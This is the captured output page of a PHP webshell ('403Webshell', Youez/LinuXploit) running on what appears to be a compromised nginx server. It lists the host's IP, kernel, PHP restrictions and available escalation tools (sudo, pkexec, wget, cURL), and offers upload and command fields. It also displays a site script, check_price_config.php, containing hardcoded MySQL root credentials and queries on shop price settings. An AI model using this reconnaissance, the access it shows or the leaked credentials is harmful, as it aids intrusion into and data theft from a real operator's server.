403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/data/wwwroot/2025_12_29_03/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/data/wwwroot/2025_12_29_03/check_price_config.php
<?php
$dbname = 'ey_youliftu';
$host = '127.0.0.1';
$port = 3307;
$user = 'root';
$pass = 'root';

try {
    $pdo = new PDO("mysql:host=$host;port=$port;dbname=$dbname", $user, $pass);
    $pdo->exec('SET NAMES utf8');
    
    // 检查商城开关
    $stmt = $pdo->query("SELECT * FROM ey_users_config WHERE name = 'shop_open' AND inc_type = 'shop'");
    $shopConfig = $stmt->fetch(PDO::FETCH_ASSOC);
    echo "商城开关配置: " . json_encode($shopConfig, JSON_UNESCAPED_UNICODE) . "\n\n";
    
    // 检查 users_price 字段配置
    $stmt2 = $pdo->query("SELECT * FROM ey_channelfield WHERE name = 'users_price' AND channel_id = 2 AND status = 1");
    $fieldConfigs = $stmt2->fetchAll(PDO::FETCH_ASSOC);
    echo "产品价格字段配置 (channel_id=2): " . count($fieldConfigs) . " 条\n";
    foreach ($fieldConfigs as $fc) {
        echo "  - ID: {$fc['id']}, 名称: {$fc['name']}, 显示名: {$fc['title']}, ifmain: {$fc['ifmain']}, ifeditable: {$fc['ifeditable']}, ifcontrol: {$fc['ifcontrol']}, status: {$fc['status']}\n";
    }
    
    // 检查所有模型的 users_price 字段
    echo "\n所有模型的 users_price 字段:\n";
    $stmt3 = $pdo->query("SELECT channel_id, id, title, ifmain, ifeditable, ifcontrol, status FROM ey_channelfield WHERE name = 'users_price'");
    $allFields = $stmt3->fetchAll(PDO::FETCH_ASSOC);
    foreach ($allFields as $f) {
        echo "  模型{$f['channel_id']}: ID={$f['id']}, 标题={$f['title']}, ifmain={$f['ifmain']}, ifeditable={$f['ifeditable']}, ifcontrol={$f['ifcontrol']}, status={$f['status']}\n";
    }
    
} catch (Exception $e) {
    echo "错误: " . $e->getMessage() . "\n";
}

Youez - 2016 - github.com/yon3zu
LinuXploit